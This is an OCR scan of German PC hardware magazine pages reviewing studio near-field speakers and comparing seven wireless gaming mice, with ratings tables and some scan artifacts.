Coaxial) sowie einen analogen 
Cincheingang. Außerdem kann 
ein Bluetooth oder WLAN-Dongle 


ergänzt werden, um die Lautspre- 
cher kabellos mit Audiomaterial zu 
füttern. 


Einmal eingerichtet und per USB 
mit dem PC verbunden, stellt sich 
bei vielen erstmaligen Hörern 
ungläubiges Verblüffen ein: Es ist 
mit Worten kaum begreiflich zu 
machen, wie groß und voll diese 
kleinen Lautsprecher zu klingen 
vermögen. Die winzig anmuten- 
den Tieftöner liefern dank langem 
Hub einen sehr satten, kräftigen 
und präzisen Bass, die Mitten 
sind wunderbar voll und warm, 
die Höhen extrem detailliert und 
kristallklar - wow! Und das Gan- 
ze wird dann auch noch mit einer 
luftigen Räumlichkeit präsentiert, 
die abseits deutlich größerer (und 
höchstwahrscheinlich nochmals 
teureren) Hifi-Boxen ihresgleichen 
sucht. Die A-100 lechtzen nach 
hochqualitativem Audiomaterial 
und sind beim Musikhören eine 
wahre Freude, gehören jedoch 


auch beim Spielen zu den besten 
Boxen, die man an dem PC über- 
haupt anschließen kann. Wenn Sie 
sich wirklich gute Lautsprecher für 
den Schreibtisch wünschen und 
nicht vor einer größeren Ausgabe 
zurückschrecken: Mit den Nubert 
NuPro A-100 werden sie glücklich, 
dafür legen wir die Hand ins Feuer. 
Und wenn es noch ein wenig mehr 
sein darf: Die A-100 sind ja noch 
die kleinsten Vertreter der NuPro- 
Reihe. (pr) 


Fazit Hardware 


Über den Tellerrand blicken lohnt! 
Es ist eventuell komplizierter, aber es 
lohnt sich, sich abseits „typischer” 
PC-Systeme umzusehen. Die Studiolaut- 
sprecher sind dank toller Audioqualität 
aus Preis-Leistungs-Sicht top. Mit Multi- 
media-„Zwittern“ wie Mackies САД hat 
man ohne Anschlussárger viel Freude. 
Nuberts brilliante NuPro A-100 bestim- 
men von nun an unsere Referenzklasse. 


NAHFELD- 
LAUTSPRECHER 


Auszug aus Testtabelle 


Hersteller 


Yamaha (https://de.yamaha.com) 


IS-LEISTUNGS-T| 


HS5 
— Yamaha 


Нагйшаге 


M-Audio (http://m-audio.de/) 


PREIS-LEISTUNGS-TIPP 


BX5 D2 
_ [Ж 


Нагйшаге 


M-Audio (http://m-audio.de/) 


Preis/Preis-Leistungs-Verhältnis 


Ca. (2x) € 150,-/gut bis befriedigend 


Ca. € 200,-/gut 


Ca. € 180,-/gut 


eeben BEE 


www.pcgh.de/preis/684265 


www.pcgh.de/preis/1377272 


Art Stereo-Studiolautsprecher Stereo-Studiolautsprecher 2.1-System 
Abmessungen Subwoofer (HxBxT) Nicht vorhanden Nicht vorhanden 33x20x27,5 cm 
Abmessungen Satellit (HxBxT) 28,5x17x20 cm 25,5x17x19,5 cm 9x13x15 cm 


Chassisbestückung Subwoofer 


Nicht vorhanden 


Nicht vorhanden 


6,5'-Tieftóner 


Chassisbestückung Satellit 
Ausstattung (20 %) 
Anschlüsse 


4,17 


5"'-Tieftöner, 1'"-Tweeter 


XLR, TRS-Klinke 


4,15 
XLR, T| 


5"-Zoll-Tieftöner, 1"-Tweeter 


3,17 
RS-Klinke 


3"-Mitteltóner, 1''-Tweeter 


RS-Klinke, Cinch, Toslink 


Bedien-Elemente 


Netzschalter, Lautstärkereglung; Höhen- und Tiefenjustierung 


Netzschalter, Lautstärkeregler 


Netzschalter, Lautstärke, Subwooferstummschaltung 


Zubehör 


Eigenschaften (20 %) 
Auffälligkeiten 


2,44 


Nur Kaltgerätekabel 


1 Verstärker pro Box; sehr gute Qualitätsanmutung 


2,50 


Nur Kaltgerätekabel; Moosgummi-Unterlagen 


1 Verstärker pro Box; hohe Materialanmutung 


2,19 


udimentäre 
(analog) 


Gute Materialanmutung, minimale Abweichungen bei Spaltma- 
Ben; kein Bassregler 


ernbedienung, USB-Soundkarte; benötigte Kabel 
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© Sehr klarer, reiner und luftiger Klang 
© Design, Materialien, Preis 
© Etwas wenig Bass 


W 


ung: 2,21 


© Sehr guter Klang 
© Preis-Leistung 
© Leichte Grundtonschwäche 


Ergonomie Sämtliche Regler an der Rückseite; umständlich zu bedienen autstárkeregler an der Rückseite; umständlich zu bedienen Bedienelemente Rückseite (SW); ohne Fernbedienung umständ- 
iche Bedienung 

Verarbeitung Keine Mängel Keine Mängel Keine Mängel 

Installation Einfach aufzustellen, PC-untypische Anschlüsse, etwas umständ- |Einfach aufzustellen, PC-untypische Anschlüsse, etwas umständ- |Etwas umständlich aufzustellen; (zu) kurze Kabel 
liche Verkabelung iche Verkabelung 

Leistung (60 %) 1,48 1,60 2,04 

Spiele Sehr detalliert und räumlich, etwas schwacher Bass Hohe Detailtreue, gute Räumlichkeit, kräftiger Bass Detailliert und gute Räumlichkeit; massiver, zumeist straffer Bass 

Musik Für anspruchsvolle Musik geeignet; wenig Tiefen Sehr gute Eignung, kleine Grundtonschwäche Sehr heftiger Bass; ansonsten gute Eignung 

Filme Sehr gute Stimmwiedergabe, etwas wenig Druck Gute Stimmwiedergabe, reichlich Druck Stimmtreu mit Tieftonfokus, mächtig Druck 

Klang Sauberer, hochdetaillierter Klang; analytische Mitten, eher Detailliert und sauber, kräftiger Bass, kleine Schwäche im Subwoofer ortbar und sehr dominant; ansonsten recht ausge- 
schwacher Bass Grundton wogener Klang 

Pegel Pegelfest, sehr gute Leistung egelfest, sehr gute Leistung Pegelfest; sehr gute Leistung 

Stereo-Separation/Surround Sehr hohe Räumlichkeit, saubere Trennung Hohe Räumlichkeit und gute Kanaltrennung Gute Räumlichkeit und Kanaltrennung 


Wertung: 2,29 


© Spaßiger, gehaltvoller Spielesound 
© Preis-Leistung 
© Zu viel Bass, keine Regelung für den Subwoofer 


Wertung: 2,30 
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Von’der Leine 
gelassen! 


Drahtlose Mäuse haben sich im Spieleeinsatz bewährt und bieten dieselbe Abtastleis- 
tung wie ihre verdrahteten Kollegen. Wir zitieren sieben Modelle zum Vergleichstest. 
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bwohl drahtlose Mäuse seit 

der Veröffentlichung der 
Neuauflage der Razer Mamba 
(2015) und spätestens nach dem 
Marktstart der Logitech G900 Cha- 
os Spectrum eine Renaissance er- 
lebten, waren PC-Spieler sehr lange 
skeptisch, wenn es um den Einsatz 
von kabellosen Nagern geht. Was 
im Büro für wenig Kabelsalat sorgt, 
könne sich laut der Zweifler bei 
sehr schnellen Mausbewegungen 
als negativ herausstellen und zu 
einer spürbaren Verzögerung füh- 
ren. Um dieses Vorurteil zu entkräf- 
ten, haben wir Ende 2016 einen 
Leistungsvergleich mit der drahtlo- 
sen und verdrahteten Variante der 
Logitech G403 Prodigy auf pcgh. 
de durchgeführt, bei dem wir der 
G403 Wireless dieselbe präzise und 
latenzfreie Abtastung wie dem ver- 
drahteten Pendant bescheinigten. 


Mittlerweile hat die Auswahl an ka- 
bellosen Spielermäusen stetig zu- 
genommen. Mit der Leadr hat jetzt 
beispielsweise auch Roccat eine 
drahtlose Maus im Portfolio, dazu 
kommt mit der Razer Lancehead 
ein brandneues Modell, das gerade 
erst auf den Markt gekommen ist. 
Somit deckt unser Vergleichtest 
alle aktuell erhältlichen Modelle ab 
und hiflt Ihnen bei der Suche nach 
dem perfekten Spielpartner mit ka- 
belloser Freiheit. 


Roccat Leadr: Roccats drahtloses 
Maus-Flaggschiff mit Top-Ausstat- 
tung. Da Roccat bei der Leadr - von 
der neuen, optischen Owl-Eye- 
Abtasttechnik abgesehen - 
Features der Tyon übernimmt, be- 
kommt auch der schnurlose Nager 
eine Top-Ausstattungswertung. Zu 
den besonderen Extras der Tyon, 
die bei der Leadr vorhanden sind, 
gehören sechs frei programmier- 
bare Tasten, die neben den beiden 
Haupttasten und dem gummierten 
Scrollrad zu finden sind und mit 
Makros belegt werden können. Für 
die Tastenkombinationen sowie 
fünf Profile steht ein 512 KB gro- 
ßer interner Speicher bereit. Hier 
werden auch die Einstellungen 
für die RGB-Beleuchtung geparkt, 
welche für das Mausrad und das 
Logo getrennt einstellbar ist. Für 
die Lichtspielereien stehen in der 
umfangreichen, leicht bedienba- 
ren Swarm-Software neben vier Ef- 
fekten auch ein Farbwechsel sowie 
eine Ladestandsanzeige der Kom- 


alle 
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bination aus Empfänger und Lade- 
station bereit - Roccat garantiert 
für eine Ladung ca. 20 Stunden 
Akkuleistung. Zum weiteren Son- 
derzubehör gehört der für die Tas- 
tenverdoppelung (Easy-Shift-Funk- 
tion) nutzbare Knopf am unteren 
Ende der Daumenablage, der Hai- 
fischflossenschalter, der stufenlose 
2-Wege-Schubregler, 1.000 Hz Pol- 
ling Rate sowie die ARM-CPU (u. a. 
für Hubhöhenkontrolle DCU). 


Da Roccat bei der Form keine Än- 
derung vornimmt, liegt die Leadr 
genauso angenehm in der Hand 
wie die handschmeichelnde Tyon. 
Zur sehr guten Ergonomie kommen 
knackige direkte Tastendruckpunk- 
te und eine gute Erreichbarkeit aller 
Tasten. Einzig der Fin-Switch lässt 
sich nur mit dem Palm-Grip optimal 
erreichen und bedienen. Bei der 
Abtastung leistet sich der Owl-Eye- 
Sensor (IR-LED, maximal 12.000 
Dpi) keine Aussetzer und sorgt 
dafür, dass der Klassenprimus bei 
den schnurlosen Mäusen auch bei 
maximaler Dpi-Zahl direkt reagiert 
und optimal kontrollierbar bleibt. 


Razer Lancehead: Razers erster 
kabelloser Handschmeichler ohne 
Synapse-Zwang. Die Ausstattung, 
die Razer der Lancehead zum Markt- 
start mitgibt, fällt weniger umfang- 
reich aus als bei der erstplatzierten 
Roccat Leadr. Wie die schon lange 
erhältliche Mamba 2015 verfügt die 
für Rechts- und Linkshänder geeig- 
nete Lancehead über zwei Dpi-Um- 
schalter sowie zusätzliche Seitentas- 
ten. Je zwei frei programmierbare 
Extraknöpfe mit definiertem Druck- 
punkt befinden sich oberhalb der 
mit einer griffigen Gummierung 
bestückten Seitenteile - eine üb- 
liche Tastenanordnung für einen 
achsensymmetrischen Nager. Dazu 
kommt die RGB-Beleuchtung, deren 
fünf Lichteffekte für jedes einzelne 
Element  (Scrollrad/Seitenstreifen- 
Logo) mit der bald erscheinende 
Synapse-Pro-Software sehr einfach 
festgelegt werden kónnen - das gilt 
auch für die Profilverwaltung und 
die Makroprogrammierung. Die 
wichtigste Neuerung von Razers 
Synapse 3: Die in der Lancehead 
gespeicherten Einstellungen lassen 
sich an einem PC ohne Synapse 
oder Internetzgang wieder abrufen. 


Bei der Ausstattung im Hintertref- 
fen, ist die Lancehead bei der Leis- 


Das Zubehór der Asus Spatha fállt mit zwei USB-Kabeln (glatter Kunststoff/mit Stoff um- 
mantelt), zusätzlichem Omron-Schalter sowei einer Transporttasche sehr umfangreich aus. 


Ki 


Logitechs G403 Prodigy Wireless nimmt per 2,4-GHz-Nano-Empfänger (USB-auf-USB- 
A-Adapter mitgeliefert) mit dem PC Kontakt auf. Der Akku wir per USB-Kabel geladen. 


Das Alleinstellungsmerkmal der G900 sind ihre wechselbaren Seitentasten. Wie die G403 
Prodigy Wireless kommuniziert auch die G900 per USB-Mini-Empfänger mit dem PC. 


67 


08/17 | PC Games Hardware 


INFRASTRUKTUR | Marktübersicht drahtlose Màuse 


tung noch einen Tick besser als die 
Leadr. Der 5G-Sensor - vermutlich 
ein modifizierter Philips Twin-Eye 
- tastet den Untergrund per Laser 
ab, ist nicht zuletzt wegen der vor- 
handenen Untergrundkalibrierung 
genauso präzise wie Roccats op- 
tische (IR-LED) Owl-Eye-Variante. 
Latenzen sind ebenfalls nicht vor- 
handen und selbst bei 16.000 Dpi 
erlaubt die Lancehead sehr flotte 
Bewegungen bei voller Kontrolle. 
Mit unter 1 mm fällt auch die Lift- 
Off-Distanz sehr gering aus. 


Logitech G900 Chaos Spectrum: 
Drahtloser Premium-Nager mit spe- 
ziellen Extras und attraktivem Preis. 
Das Hauptausstattungsmerkmal 
der rund ein Jahr vor der G403 er- 
schienenen G900 Chaos Spectrum 
sind ihre modularen Seitentasten. 
Zusätzlich zu den beiden Dpi-Um- 
schaltern (fünf Stufen möglich) 
und dem Knopf zum Deaktivieren 
der nicht definiert genug ausfallen- 
den Scrollrad-Rasterung lassen sich 


vier weitere Seitentasten (G-Tasten, 
je zwei achsensymmetrisch) an- 
bringen. Die RGB-Beleuchtung fällt 
dezent aus, es stehen lediglich ein 
Farbwechsel- und ein Atmungsef- 
fekt für die Dpi Umschalter und das 
Hecklogo bereit. Die Festlegung 
der Beleuchtung, die Verwaltung 
der fünf Profile und die Aufzeich- 
nung von Makros erfolgt mit der 
anwenderfreundlichen Logitech 
G-Software. Ein Speicher in der 
mithilfe des USB-Ladekabels auch 
verdrahtet nutzbaren G900 nimmt 
alle Einstellungen auf. Zur weiteren 
Ausstattung, die ähnlich ordentlich 
wie bei der Asus Spatha ausfällt, ge- 
hören die 1.000 Hz Polling Rate so- 
wie ein USB-auf-USB-A-Adapter für 
den 2,4-Hz-Nano-Empfänger. 


Obwohl die Seitenteile nur über 
eine Struktur verfügen und nicht 
gummiert sind, fehlt es der für 
Rechts- und Linkshänder geeig- 
neten G900 nicht an Griffigkeit. 
Ihr Korpus und die ausgeprägten 


Griffmulden garantieren ermü- 
dungs und verspannungsfreie 
Mausbewegungen unabhängig 
vom bevorzugten Griffstil. Der op- 
tische LED-Sensor, ein überarbeite- 
ter Pixart PMW3366, gibt sich trotz 
drahtloser Betriebsweise 
Blöße und setzt selbst bei Maximal- 
abtastung von 12.000 jede noch 
so kleine Bewegung blitzschnell, 
punktgenau und mit einer gerin- 
gen Hubhöhe um, ohne dass Laten- 
zen zu spüren sind. 


keine 


Razer Mamba 2015: Gelungene, aber 
nicht günstige Neuauflage mit modi- 
fizierbarem Tastendruck. Razer hat 
die von Spielern sehr geschätzte 
Mamba in zwei Varianten neu auf- 
gelegt: das Kabelmodell, die Razer 
Mamba TE, sowie die hier getestete 
drahtlose Mamba 2015, die mit dem 
5G-Lasersensor, ihren sieben Tas- 
ten sowie ihrer RGB-Beleuchtung 
über dieselbe Ausstattung wie das 
verdrahtete Pendant verfügt. Die 
Besonderheit bei der Mama 2015, 


deren Empfänger gleichzeitig als 
Ladestation für den Akku im In- 
neren der 125 g leichten Maus 
fungiert, ist die von Razer entwi- 
ckelte Adjustable-Click-Force-Tech- 
nologie. Diese ermöglicht es, den 
Auslösedruck der beiden Haupttas- 
ten zu modifizieren. Dieses Allein- 
stellungsmerkmal ist sehr nützlich, 
denn so kann der Spieler selbst 
bestimmen, wie hoch der Wider- 
stand respektive wie hart/weich 
der Druckpunkt der Haupttasten 
sein soll. 


Im Vergleich mit der Ur-Mamba ver- 
fügt die 2015er-Variante über einen 
besser erreichbar hinter dem Scroll- 
rad platzierten Dpi-Umschalter so- 
wie die geänderten Seitenpartien, 
die nun mit einer großflächigen 
und griffigen Gummischicht mit 
Struktur versehen sind. Die mit ei- 
nem Profilspeicher bestückte Mam- 
ba 2015 liegt gerade beim Palm- 
Grip noch geschmeidiger in der 
Hand als die erste Mamba-Version. 


Stehend, liegend oder gesockelt: Ladestationen im Vergleich 


Vier von sieben Testnagern werden mit einer Ladestation ausgeliefert, auf der die Maus mit dem Akku im Inneren zum Laden geparkt wird und die mit ihren USB-Anschluss gleich- 
zeitig als Empfänger fungiert. Dabei lassen sich die Hersteller, wie unten zu sehen ist, veschiedene Konstruktionen inklusive der Ladekontakte und Maushalterung einfallen. 


Asus ROG Spatha (Ladestation stehend) Razer Mamba 2015 (Ladestation in Sockelform) 


e 2% 


Roccat Leadr (Ladestation stehend mit LED, das Batterie- und Ladestatus anzeigt) Steelseries Sensei Wireless (Ladestaton liegend) 
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Wie bei der Lancehead beinhaltet 
die Software Optionen zur Mini- 
mierung der Lift-Off-Distanz (Sen- 
sorabstand) und Oberflächenkalib- 
rierung. In Kombination mit dem 
5G-Lasersensor (maximal 16.000 
Dpi) sorgt das für eine sehr präzise 
und verzögerungsfreie Abtastung. 


Asus ROG Spatha: Teuer, aber gut 
ausgestattet. Von einer dritten Dpi- 
Stufe pro Profil abgesehen, lässt die 
Ausstattung der drahtlosen Rechts- 
händermaus keine Wünsche offen. 
Um auch den MOBA-/MMO-Spieler 
als Käufer zu gewinnen, bestückt 
Asus die Laser-Maus (Pixart ADNS- 
9800) mit sechs ergonomisch an- 
geordneten Daumentasten. Dazu 
kommen zwei schwer erreichbare 
Zusatzknöpfe an der linken Maus- 
taste sowie ein Dpi-Umschalter 
hinter dem gummierten Mausrad. 


Die RGB-Beleuchtung kann mithil- 
fe der Software für das Mausrad, 
das Logo und die Daumentasten 
getrennt eingestellt werden. Es ste- 
hen sechs Effekte wie Atmung oder 
Farbwechsel zur Verfügung. Gene- 
rell fällt Asus’ Armoury-Software 
sehr umfangreich aus und bietet 
neben der einfachen Makropro- 
grammierung Optionen, die Pol- 
ling Rate auf 2.000 Hz zu erhöhen, 
die Pfadbegradigung und Lift-Off- 
Distanz zu regeln sowie eine Un- 
tergrundkalibrierung durchzufüh- 
ren. Eine Transporttasche, in der 
sich zwei USB-Kabel, zwei Omron- 
Schalter (inklusive Werkzeug zum 
Wechseln) sowie zwei Klebe-Logos 
befinden, runden die gelungene 
Ausstattung ab. 


Obwohl die ROG Spatha groß und 
kantig ist und wegen ihres Akkus 


NEUE 
SPIELERMÄUSE 


Auszug aus Testtabelle 
mit 24 Wertungskriterien 


Produkt 
Hersteller/Vertrieb (Webseite) 


Leadr 


Roccat (www.Roccat.org) 


Нагйшаге 


Lancehead 


Razer (www.razerzone.com) 


179 Gramm wiegt, lässt sie sich 
ohne Ermüdung im Arm oder 
Verspannung des Handgelenks 
lange nutzen. Das hohe Gewicht 
schränkt nur die Gleitfähigkeit ein. 
Der Druckpunkt der Haupttasten 
ist sehr gut und knackig. Um die 
Zusatztasten zu bedienen, benötigt 
man mehr Kraft, da sie sonst beim 
Claw Grip ungewollt ausgelöst 
werden. Der ADNS-9800-Sensor 
tastet auch bei 8.200 Dpi fehler- 
frei ab, die Lift-Off-Distanz liegt 

bei 1 mm und die Empfänger- 
reichweite bei über 10 m. 


Logitech G403 Prodigy Wireless: 
Ergonomischer Spartipp für Spieler 
und Office-Nutzer. Logitechs Zielset- 
zung, mit der drahtlosen G403 Pro- 
digy eine Synthese aus einer Office- 
und einer Spielermaus anzubieten, 
erkennt man an der Ausstattung. 


f 007 Y ( 082017. w 
PREIS-LEISTUNGS-TIPP 
Razer Logitech 
Lancehead 6900 Chaos Spectrum 


Hardware 
N 


G900 Chaos Spectrum 
Logitech (www.logitech.de) 


Hardware 


Der 2,4-GHz-Nano-Empfänger, mit dem die 
Lancehead zum PC Kontakt aufnimmt, lässt 
sich praktisch in einem Fach verstauen. 


Mamba 2015 


Razer (www.razerzone.com) 


Preis/Preis-Leistung 


Ca. 160,- Euro/3- 


Ca. 150,- Euro/3- 


Ca. 110,- Euro/2+ 


Ca. 140,- Euro/4 


PCGH-Preisvergleich www.pcgh.de/preis/1558254 


www.pcgh.de/preis/1615980 


www.pcgh.de/preis/1414931 


www.pcgh.de/preis/1310490 


Bauart/Anschluss 


Drahtlose Maus/USB-Anschluss für Lade- 


Drahtlos/USB-Kabel (Akku laden/Verlängerung 


Drahtlos/USB-Kabel (Akku laden/Verlángerung 


Drahtlose Maus/USB-Anschluss für Lade- 


3361 (Owl Eye) 


zierter Philips Twin Eye (PLN 2033) 


station und Kabelbetrieb Empfänger) Empfänger) station und Kabelbetrieb 
Empfohlener Spielstil Low-, Mid- und High-Sense Low-, Mid- und High-Sense Low-, Mid- und High-Sense Low- und Mid-Sense 
Ausstattung: 1,00 1,83 1,68 1,65 
Abtastung/Lasertyp Optisch (IR-LED)/modifizierte Pixart PMW Optisch (Laser)/5G-Sensor, vermutlich modifi- | Optisch (LED)/Überarbeiteter Pixart PMW3366 | Optisch (Laser)/5G-Sensor, vermutlich Philips 


Twin Eye (PLN 2033) 


Anzahl Tasten 


12 + Scrollrad 


8 + Scrollrad 


Vier-Wege-Scrollrad 


6, 8 oder 10 (individuell definierbar) + 


6 + Scrollrad 


Max. Auflösung 


12.000 Dpi 


16.000 Dpi (+ Untergrundkalibrierung) 


12.000 Dpi (+ Untergrundkalibrierung) 


16.000 Dpi (+ Untergrundkalibrierung) 


Kabellänge Anschlusskabel Station/Kabel für den verdrah- 210 cm (Akku-Laden/verdrahteter Betrieb) 170 cm (Akku-Laden/verdrahteter Betrieb) Anschlusskabel Station/Kabel für den verdrah- 
teten Betrieb mit 180 cm Länge teten Betrieb mit 210 cm Länge 

Sonderausstattung Drahtlos, 16 programmierbare Sondertasten, |Drahtlos, Dpi-Umschaltung (fünf Stufen, Drahtlos, sechs programmierbare Sondertas- — | Dpi-Umschaltung (fünf Stufen, 1-Dpi-Schrit- 
Dpi-Umschaltung (fünf Stufen, 100-Dpi-Schrit- | 100-Dpi-Schritte), ARM-CPU (Untergrund- ten, Anzahl Sondertasten frei konfigurierbar, |te), Adjustable-Click-Force-Technologie zur 
te), ARM Cortex MO (72 MHz, DCU für kalibrierung/Hubhóhe), alle Tasten frei Dpi-Umschaltung (fünf Stufen), Makro- Anpassung des Auslósedrucks, ARM-CPU, alle 
Lift-Off-Distanz), Fin-Switch, Schubregler, programmierbar, Makrofunktion mit Speicher, |funktion (mit Speicher), Profilspeicherung, asten frei programmierbar, Makrofunktion, 
Makrofunktion, 512 kb Speicher (fünf Profile |Profilspeicher (fünf Profile), RGB-Beleuchtung |RGB-Beleuchtung (ein Farbwechsel- und ein |Profilspeicher, RGB-Beleuchtung (fünf Modi 
und Makros), RGB-Beleuchtung (zwei Zonen: |(fünf Modi für Scrollrad, Logo und beide Atmungseffekt für Dpi-Umschaltung und ür Scrollrad, Logo und Seitenteil), 1.000 Hz 
Mausrad und Heck/fünf Lichteffekte + Farb- — |Seitenteile), 1.000 Hz Polling Rate, Ver- Hecklogo, Effekte nicht separat einstellbar), — |Polling Rate 
wechsel pro Zone), 1.000 Hz Polling Rate, ángerungskabel für den Nano-Empfänger 1.000 Hz Polling Rate, Scrollrad-Rasterung 
Esay-Shift-Tastenverdopplung deaktivierbar 

Eigenschaften: 1,80 1,38 1,65 1,60 

Geeignet für/Gewicht/Verarbeitung echtshänder/134 Gramm/sehr gut Rechts- und Linkshänder/111 Gramm/sehr gut |Links- und Rechtshänder/107 Gramm/sehr gut |Rechtshänder/125 Gramm/sehr gut 

Druckpunkte Haupt-/Sondertasten Sehr gut/gut Sehr gut/gut bis sehr gut Sehr gut/sehr gut Sehr gut (Auslösedruck anpassbar)/gut bis 

sehr gut 
Druckpunkt/Rasterung Scrollrad Gut bis sehr gut/sehr gut Gut bis sehr gut/gut bis sehr gut Gut/befriedigend bis gut Gut/gut bis seht gut 


Funktionsumfang und Features 
Software 


Leistung: 
Ergonomie 


Gut bis sehr gut/Lift-Off-Distanz (DCU) 
verstellbar/keine Optionen für die Pfadbe- 
gradigung und Untergrundkalibrierung, sehr 
umfangreicher Makro-Editor 

111 

Sehr gut (alle Griffstile) 


Gut bis sehr gut (Online-Software)/Lift-Off- 
Distanz verstellbar, Untergrundkalibrierung, 
keine Option für Angle-Snapping 


1,06 
Sehr gut (alle Griffstile) 


Gut/Untergrundkalibrierung aber Lift-Off- 
Distanz/Angle-Snapping nicht einstellbar 


111 
Sehr gut (alle Griffstile) 


Gut bis sehr gut (Online-Software)/Lift-Off- 
Distanz verstellbar, Untergrundkalibrierung, 
keine Option für Angle-Snapping 


1,16 
Sehr gut (alle Griffstile) 


Prázision/1.000 Hz Polling Rate 


Sehr gut/ja, per Software 


Sehr gut/ja, per Software 


Sehr gut/ja, per Software 


Sehr gut/ja, per Software 


Gleiteigenschaften 


Gut bis sehr gut 


Sehr gut 


Gut bis sehr gut 


Gut bis sehr gut 


Abtastverhalten/Lift-Off-Distanz 


Sehr gut/sehr niedrig: ca. 1 mm 


FAZIT 


© Ergonomie für beide Griffstile 
Q Ausstattung (u. a. Easy-Shift)/Druckpunkte 
© Leistung des neuen Owl-Eye-Sensors 


Wertung: 1,22 


www.pcgameshardware.de 


Sehr gut/sehr niedrig: unter 1 mm 


© Ergonomie für beide Griffstile 
© Lift-Off-Distanz unter 1 mm 


Sehr gut/sehr niedrig: ca. 1 mm 


© Ausstattung u. a. modulare Seitentasten 
© Abtastverhalten/geringe Lift-Off-Distanz 


Sehr gut/niedrig: ca. 1 mm 


© Druckpunkt Haupttasten variabel 
© Abtastverhalten (Möglichkeiten Software) 


© Hybrid-Speicher (Synapse-Cloud + Maus) © Druckpunkt Haupttasten und Akkulaufzeit © Ergonomie/gummierte Griffmulden 


Wertung: 1,27 


Wertung: 1,33 
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Neben einem Dpi-Umschalter hin- 
ter dem Scrollrad bietet die С403 
Prodigy nur noch zwei Daumentas- 
ten. Die RGB-Beleuchtung am Heck 
lässt sich per Software ausschal- 
ten. Für ein Profil inklusive aller 
Einstellungen und Makros, die per 
Logitech-Gaming-Software einfach 
programmiert werden können, 
steht ein interner Speicher bereit. 
Auf der Unterseite befindet sich das 
Fach für das Gewichtssystem. Hier 
kann man das Gesamtgewicht um 
10 Gramm auf 127 Gramm erhöhen. 
Zur weiteren Ausstattung unseres 
Spar-Tipps gehört ein 1,80 m langes 
USB-Kabel sowie ein USB-auf-USB- 
A-Adapter für den Nano-Empfänger. 


Da sich Logitech bei der Formge- 
bung vom ergonomischen Klassi- 
ker MX518 inspirieren lässt, liegt 
auch die G403 Prodigy Wireless op- 
timal in der Hand. Sehr lange Finger 
ragen jedoch über die Haupttasten 
hinaus. Für eine sehr gute Griffig- 


keit sorgen die beiden gummierten 
Griffmulden. Der optische Sensor, 
der Pixart PMW3366, leistet sich 
auch bei maximaler Abtastrate von 
12.000 Dpi keine Schwächen. Die 
Lift-Off-Distanz fällt mit ca. 1 mm 
für Nager mit einer LED-Abtastung 
sehr niedrig aus und die Software 
hält zusätzliche Optionen bereit, 
um die Pfadbegradigung zu deak- 
tivieren und die Abtastung auf Un- 
tergründe zu optimieren. 


Steelseries Sensei Wireless Laser 
Mouse: Drahtlos, ergonomisch, aber 
ohne OLED. Verglichen mit der Roc- 
cat Leadr, Asus ROG Spatha oder 
Logtiech G900 ist die Ausstattung 
der schnurlosen Sensei eher durch- 
schnittlich: Der Dpi-Schalter erlaubt 
nur den Wechsel zwischen zwei 
Stufen; der interne Speicher nimmt 
lediglich zwei Profile inklusive 
Makros sowie allen ausschließlich 
nur in der vorbildlichen Software 
durchführbaren Einstellungen auf. 


Ein OLED, mit dessen Hilfe Sie wie 
bei der Sensei MLG die Lift-Off-Dis- 
tanz, Polling Rate oder Pfadkorrek- 
tur ohne Software festlegen, fehlt. 
Von den vier Sondertasten lassen 
sich aufgrund des achsensymmet- 
rischen Korpus nur je zwei nutzen. 
Ein Gewichtssystem fehlt ebenfalls. 
Die Beleuchtung fällt dagegen mit 
16,8 Mio Farben, verschiedenen 
Modi sowie einer Funktion zur An- 
zeige des Ladestands an der Station 
umfangreich aus. Die Akkulaufzeit 
soll bei 16 Stunden respektive 20 
Stunden im Energiesparmodus lie- 
gen. Ist der Akku leer, kann die für 
Rechts- und Linkshänder geeignete 
Maus, die sehr griffig ist und eine 
optimale Ergonomie für alle Hand- 
größen bietet, per USB mit dem PC 
verbunden werden. 


Die Stärken der Sensei Wireless 
bleiben neben der sehr guten 
Haupttastendruckpunkte und der 
genauen Scrollrad-Rasterung ihre 


— T. 
SPAR-TIPP 


Präzision sowie die trotz drahtloser 
Signalübertragung nicht vorhan- 
dene Latenz. Das liegt an der mit 
1 ms geringen Reaktionszeit des 
Avago-ADSN-9800-Lasersensors in 
Kombination mit 1.000 Hz Polling 
Rate. Auch bei maximaler Abtas- 
tung kann man die Sensei Wireless 
genauso wie ihren verdrahteten 
Bruder noch optimal kontrollieren, 
selbst wenn die Pfadkorrektur de- 


(fs) 


Fazit Нагйшаге 


Drahtlose Màuse 

Alle getesteten Drahtlos-Nager sind nicht 
zuletzt dank ihrer Abtastleistung und Er- 
gonomie empfehlenswert. Unterschiede, 
die sich in der Note niederschlagen, gibt 
es vor allem bei der Aussattung und den 
Eigenschaften. So liegt es letztlich am 
Kàufer, ob er sich für ein günstiges Mo- 
dell (Logitech G403/G900) oder für ein 
teureres Top-Modell entscheidet. 


aktiviert wird. 


NEUE 
SPIELERMÄUSE 


Auszug aus Testtabelle 
mit 24 Wertungskriterien 


Logitech 
403 Prodigy Wireless 


Hardware 


Produkt 
Hersteller (Webseite) 


G Spatha 


Asus (www.Asus.de) 


G403 Prodigy Wireless 


Logitech (www.logitech.de) 


Se Wireless Laser Mouse 
Steelseries (www.steelseries.com/de) 


Preis/Preis-Leistung 


Bauart/Anschluss 


Ca. 165,- Euro/4- 


Ca. 80,- Euro/1- 


Ca. 110,- Euro/3 


PCGH-Preisvergleich www.pcgh.de/preis/1241345 


www.pcgh.de/preis/1503381 


www.pcgh.de/preis/1088114 


Drahtlose Maus/USB-Anschluss für Ladestation und Kabel- 
betrieb 


Drahtlos/USB-Kabel (Akku laden/Verlängerung Empfänger) 


Drahtlose Maus/USB-Anschluss für Ladestation und Kabel- 
betrieb 


Empfohlener Spielstil 


Low-, Mid- und High-Sense 


Low-, Mid- und High-Sense 


Low-, Mid- und High-Sense 


Ausstattung: 1,08 1,78 2,55 
Abtastung/Lasertyp Optisch (Laser/Avago ADNS-9800) Optisch (IR-LED)/Pixart PMW 3366 Optisch (Laser/Avago ADNS-9800) 
Anzahl Tasten 11 + Scrollrad 5 + Scrollrad 7 + Scrollrad 


Max. Auflósung 


8.200 Dpi 


12.000 Dpi (+ Untergrundkalibrierung) 


8.200 Cpi (entspricht Dpi) 


Kabellänge Anschlusskabel Station/Kabel für den verdrahteten Betrieb mit | Ca. 180 cm (Akku-Laden/verdrahteter Betrieb) Anschlusskabel Station/Kabel für den verdrahteten Betrieb mit 
ca. 180 cm Länge ca. 200 cm Länge 

